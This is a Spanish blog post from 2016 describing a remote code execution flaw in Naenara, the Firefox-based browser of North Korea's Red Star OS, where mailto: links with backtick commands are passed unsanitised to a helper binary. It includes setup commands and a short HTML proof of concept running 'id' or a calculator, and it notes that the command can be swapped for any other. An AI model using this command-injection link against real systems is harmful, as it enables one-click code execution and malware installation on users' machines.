miércoles, 7 de diciembre de 2016

Vulnerar el sistema operativo del Querido Líder "Kim Jong-un"

Introducción:

    Red Star OS es un sistema operativo basado en linux de Corea del Norte. Podéis ver más información de la distribución aquí.

"De Red Star OS se dice que es un instrumento de seguimiento y control de la población del país asiático. La acusación ha partido de la publicación The Korea Times, en base a declaraciones de investigadores de South Korea's Science and Technology Policy Institute (STEPI). Esta afirmación se origina en Corea del Sur, tradicional enemigo, y puede tener su sesgo. Al no estar disponible el código, lo dejamos bajo el epígrafe de "duda razonable". Total, en el mundo "libre" también nos espían.. seguir leyendo."

En esta entrada veremos un exploit para una vulnerabilidad, la cúal nos permitirá ejecución remota de código arbitrario en el cliente, la vulnerabilidad podría ser utilizada para instalar malware solo haciendo que un usuario haga clic en un hipervínculo. 

El portador de la vulnerabilidad es el navegador web que viene instalado por defecto en la distribución Red Star OS, es conocido como "Naenara" (es una versión muy modificada de Mozilla Firefox) y contiene vectores de ataque remoto.

La vulnerabilidad está probada en Red Star OS 3.0 con Naenara 3.5 descarga aquí.

Explicación de la vulnerabilidad

    Durante la detección de vulnerabilidades, se observó que los controladores de URL registrados se pasaban a una utilidad de línea de comandos "/usr/bin/nnrurlshow". Esta aplicación (aparte de tener null ptr de-refs y otros bugs) toma argumentos URI para los manejadores URI registrados cuando se manejan solicitudes de aplicación como "mailto" y "cal". Naenara no limpia la línea de comandos al manejar estas solicitudes de argumento de URI y como tal, puede trivialmente obtener la ejecución de código al pasar enlaces mal formados al binario nnrurlshow.

Configurando Red Star OS

Para la instalación lo tendremos un pelín difícil ya que está en koreano, os dejo un link para instalarlo.
Una vez instalado el sistema operativo para poner el idioma en inglés deberemos introducir los siguientes comandos:
Primero activar el usuario root.

$ /usr/sbin/rootsetting 

Y para cambiar el idioma:

$ su
$ sed -i 's/ko_KP/en_US/g' /etc/sysconfig/i18n
$ sed -i 's/ko_KP/en_US/g' /usr/share/config/kdeglobals


Ver más.

PoC:

Creación del exploit

Crearemos un archivo .html que dentro tendrá:

<html>
<head>
</head>
<body>
<a href="mailto:`id`">Pulsar</a>
</body>
</html>

Con este exploit obtendremos el id de nuestro usuario. Podemos modificarlo para elegir el comando que queramos, por ejemplo:

<html>
<head>
</head>
<body>
<a href="mailto:`Applications/Calculator.app/Contents/RedStar/calculator`">Pulsar</a>
</body>
</html> 

Con este abriremos una calculadora

Una vez abierto el exploit con el navegador  Naenara 3.5 y pulsado sobre el hiperenlance obtendremos el resultado.

Vídeo